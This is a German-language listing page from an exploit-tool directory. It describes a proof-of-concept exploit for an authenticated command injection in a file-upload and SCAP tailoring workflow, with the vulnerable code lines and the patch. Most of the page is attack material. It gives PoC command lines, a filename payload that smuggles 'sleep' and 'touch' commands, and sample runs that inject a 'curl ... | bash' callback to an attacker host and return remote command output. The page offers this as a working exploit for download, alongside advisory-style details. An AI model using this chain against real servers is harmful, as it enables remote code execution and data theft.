Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
POC-CVE-2026-19681 — Proof-of-Concept-Exploit für authentifizierte Command Injection in der Verarbeitung von Datei-Uploads, der eine zweistufige Kette über die REST-API mit Blind-Timing und callback-basierter Befehlsausführung demonstriert. | Kitploit
Tools/GitHubGitHub/h00die/poc-cve-2026-19681
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlPayload-Entwicklung
GitHubh00die/poc-cve-2026-19681

POC-CVE-2026-19681

Proof-of-Concept-Exploit für authentifizierte Command Injection in der Verarbeitung von Datei-Uploads, der eine zweistufige Kette über die REST-API mit Blind-Timing und callback-basierter Befehlsausführung demonstriert.

Repository anzeigen
vor 1 TagNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE Image

CVE-2026-19681 — Befehlsinjektion in der Verarbeitung von Datei-Uploads (authentifiziert)

Status: BESTÄTIGT in einer 6.7.2-14.el9-Lab-Umgebung (2026-08-20). Über POST /rest/file/upload wurde ein präparierter Dateiname p;sleep${IFS}20;-EvvfJk eingebracht (das Kontext-Präfix trägt die Metazeichen); anschließend blieb POST /rest/auditFile (type=scapLinux, version=1.2) exakt 20,1 s hängen und lieferte Fehler 106 („Error adding Tailoring file to SCAP zip file") — der normale Fehlerpfad nach der Injektion. Die Ausführung erfolgt innerhalb des Shell-Befehls zip -9Tj als Webservice-Benutzer. (Behoben in 6.9.0 laut RPM-Diff; die Schwachstelle ist mindestens in 6.7.2–6.8.x vorhanden.)

Schwachstelle

Zweistufige Kette, beide Stufen unter Kontrolle des Angreifers:

  1. Dateinamen-Kontrolle — speichert Uploads über (), das den Namen auf der Platte aus dem rohen Client--Parameter aufbaut: . Unbekannte Kontexte überspringen sämtliche Inhaltsvalidierung (der NOTICE in nennt das „wide open since SC 4.x"), werden aber trotzdem gespeichert — daher bleiben Shell-Metazeichen (, , Backticks) im präparierten Dateinamen erhalten.

POST /rest/file
Filesystem::saveTmp()
FilesystemLib.php:587
context
tempnam($tmpDir, "$userID.$token." . $context . "-")
Files.php
;
$()
  • Injektions-Senke — POST /rest/auditFile mit type∈SCAP, version=1.2 gelangt in den Tailoring-Zweig (AuditFiles.php:163): $scapZipFile = $tmpDir . $params['filename'] (vollständig vom Client kontrolliert) → AuditFileLib::addSCAPTailoringFile() Zeile 2304: $tmpZipFile = "{$tmpDir}/" . basename($scapZipFile) . ".zip" — basename() entfernt /, aber nicht Shell-Metazeichen — und wird dann unescaped in exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc") verwendet.

  • Eine zweite Senke derselben Klasse: Files.php:360 exec("{$settings['CommandUNZIP']} -qq $filename -d $tmpDir/") in extractFile().

    Patch (6.9.0)

    escapeshellarg($tmpZipFile) in beiden Zip-Befehlen; Utility::execSafe() (proc_open in argv-Form + ---Trenner) ersetzt den String-basierten Unzip-exec-Aufruf; in AuditFiles::applySCAPTailoringFile() wurde eine Dateinamenvalidierung ergänzt (das ist CVE-2026-19679).

    PoC

    root@kitploit:~
    # blind timing check (sleep in the context prefix; no '/' needed)
    ./poc.py --target https://sc.lab --username analyst --password 'pass' --check
    
    # run a command with output capture: the PoC serves the script over HTTP, injects a
    # short curl|bash callback, and prints the POSTed-back output. Target must be able to
    # reach this machine (same L2 in the lab).
    ./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd whoami
    
    # verbatim injection (no callback) — payload must fit ~47 chars
    ./poc.py --target https://sc.lab --username analyst --password 'pass' \
             --cmd 'touch${IFS}/tmp/pwned' --no-exfil
    

    Hinweise:

    • Upload-Ressource ist /rest/file/upload (Multipart-Feld Filedata, context-Formularfeld) — in der Lab-Umgebung entdeckt; andere Builds können abweichen, Kandidaten wurden getestet.
    • Längenbudget: PHP tempnam() kürzt das Präfix des präparierten Namens — nur ~50–55 Zeichen von context überleben (in der Lab-Umgebung gemessen; die Hex-Bootstrap-Variante wurde mitten im Payload abgeschnitten). Kurze Injektionen wie p;sleep${IFS}20; passen; alles Längere läuft über den Callback-Server.
    • Der auditFile-Body benötigt type=scapLinux|scapWindows, version=1.2, benchmarkName, dataStreamName (gemäß AuditFiles::validateAdd); PARAM_FILENAME lehnt nur / und nicht vorhandene Dateien ab, daher kommen ;/${IFS} durch.
    • Der Tailoring-Upload (context=tailoringFile) muss parsebares Datastream-XML mit mindestens einem Profil enthalten — ein minimales ist eingebettet.

    Im Labor zu verifizierende Punkte (werden im Skript-Output markiert, wenn sie fehlschlagen):

    • Das eingebettete minimale Tailoring-XML muss die Anforderungen von SCAPTailoringFileParser erfüllen (>=1 Profil); falls es abgelehnt wird, einen echten SCAP-Tailoring-Datastream einsetzen.
    • Der type-String muss mit einem Element von AuditFileLib::$validSCAPTypes übereinstimmen (scap wird erwartet).
    • Die genauen auditFile-Body-Schlüssel stammen aus AuditFiles::validateAdd(); anpassen, falls der POST einen Parameterfehler zurückgibt.

    Siehe auch

    • ../cve-2026-19679/ — die Eingabevalidierungs-Hälfte derselben Kette (Dateinamen-Bereinigung), mit einem Differenzial zur Versionserkennung.

    Beispielausführungen

    root@kitploit:~
    $ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd whoami
    [+] authenticated, token 20425636...
    [*] callback server on 1.1.1.1:33755 — injecting 'curl${IFS}1.1.1.1:33755|bash' (target must reach this IP)
    [+] staged audit zip as filename='p;curl${IFS}1.1.1.1:33755|bash;-g6LDro'
    [*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
    [+] staged tailoring file as filename='tailoringFile-15xUAv'
    [*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
    [*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236048}
    [*] injection fired in 0.1s; waiting for callback output ...
    [+] command output:
    tns
    
    root@kitploit:~
    $ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd pwd
    [+] authenticated, token 20958963...
    [*] callback server on 1.1.1.1:36809 — injecting 'curl${IFS}1.1.1.1:36809|bash' (target must reach this IP)
    [+] staged audit zip as filename='p;curl${IFS}1.1.1.1:36809|bash;-G7e1sg'
    [*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
    [+] staged tailoring file as filename='tailoringFile-DQzq4v'
    [*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
    [*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236116}
    [*] injection fired in 0.1s; waiting for callback output ...
    [+] command output:
    /opt/sc/www
    
    Tool herunterladen